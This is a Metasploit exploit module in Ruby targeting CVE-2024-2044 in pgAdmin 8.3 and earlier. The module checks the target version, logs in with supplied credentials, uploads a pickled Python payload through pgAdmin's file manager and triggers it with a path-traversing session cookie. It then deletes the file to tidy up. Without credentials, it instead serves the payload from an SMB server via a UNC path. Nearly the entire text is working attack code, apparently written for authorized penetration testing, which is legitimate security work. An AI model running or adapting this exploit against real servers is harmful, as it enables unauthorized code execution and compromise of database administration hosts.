# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {}) super( update_info( info, 'Name' => 'pgAdmin Session Deserialization RCE', 'Description' => %q{ pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python object to execute code within the context of the target application. This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also requires that insecure outbound guest access be enabled. Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated technique whereby a payload is uploaded. }, 'Author' => [ 'Spencer McIntyre', # metasploit module 'Davide Silvetti', # vulnerability discovery and write up 'Abdel Adim Oisfi' # vulnerability discovery and write up ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-2044'], ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'], ['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d'] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Payload' => {}, 'Targets' => [ [ 'Automatic', {} ], ], 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 5 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']), OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']), OptString.new('PASSWORD', [false, 'The password to authenticate with', '']) ]) end def check version = get_version return CheckCode::Unknown('Unable to determine the target version') unless version return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4') CheckCode::Appears("pgAdmin version #{version} is affected") end def csrf_token return @csrf_token if @csrf_token res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) set_csrf_token_from_login_page(res) fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token @csrf_token end def set_csrf_token_from_login_page(res) if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ @csrf_token = Regexp.last_match(1) # at some point between v7.0 and 7.7 the token format changed elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first) @csrf_token = element['value'] end end def get_version res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) return unless res&.code == 200 html_document = res.get_html_document return unless html_document.xpath('//title').text == 'pgAdmin 4' # there's multiple links in the HTML that expose the version number in the [X]XYYZZ, # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27 versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ } return unless versioned_link set_csrf_token_from_login_page(res) # store the CSRF token because we have it Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}") end def exploit if datastore['USERNAME'].present? exploit_upload else exploit_remote_load end end def exploit_remote_load start_service print_status('The SMB service has been started.') # Call the exploit primer self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) trigger_deserialization(unc) end def exploit_upload res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'authenticate/login'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'csrf_token' => csrf_token, 'email' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'language' => 'en', 'internal_button' => 'Login' } }) unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login') fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin') end print_status('Successfully authenticated to pgAdmin') serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) file_name = Faker::File.file_name(dir: '', directory_separator: '') file_manager_upload(file_name, serialized_data) trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}") file_manager_delete(file_name) end def trigger_deserialization(path) print_status("Triggering deserialization for path: #{path}") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login'), 'cookie' => "pga4_session=#{path}!" }) end def file_manager_init res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'file_manager/init'), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, 'data' => { 'dialog_type' => 'storage_dialog', 'supported_types' => ['sql', 'csv', 'json', '*'], 'dialog_title' => 'Storage Manager' }.to_json }) unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction') end trans_id end def file_manager_delete(file_path) trans_id = file_manager_init res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, 'data' => { 'mode' => 'delete', 'path' => "/#{file_path}", 'storage_folder' => 'my_storage' }.to_json }) unless res&.code == 200 && res.get_json_document['success'] == 1 fail_with(Failure::UnexpectedReply, 'Failed to delete file') end true end def file_manager_upload(file_path, file_contents) trans_id = file_manager_init form = Rex::MIME::Message.new form.add_part( file_contents, 'application/octet-stream', 'binary', "form-data; name=\"newfile\"; filename=\"#{file_path}\"" ) form.add_part('add', nil, nil, 'form-data; name="mode"') form.add_part('/', nil, nil, 'form-data; name="currentpath"') form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, 'data' => form.to_s }) unless res&.code == 200 && res.get_json_document['success'] == 1 fail_with(Failure::UnexpectedReply, 'Failed to upload file contents') end upload_path = res.get_json_document.dig('data', 'result', 'Name') print_status("Serialized payload uploaded to: #{upload_path}") true end end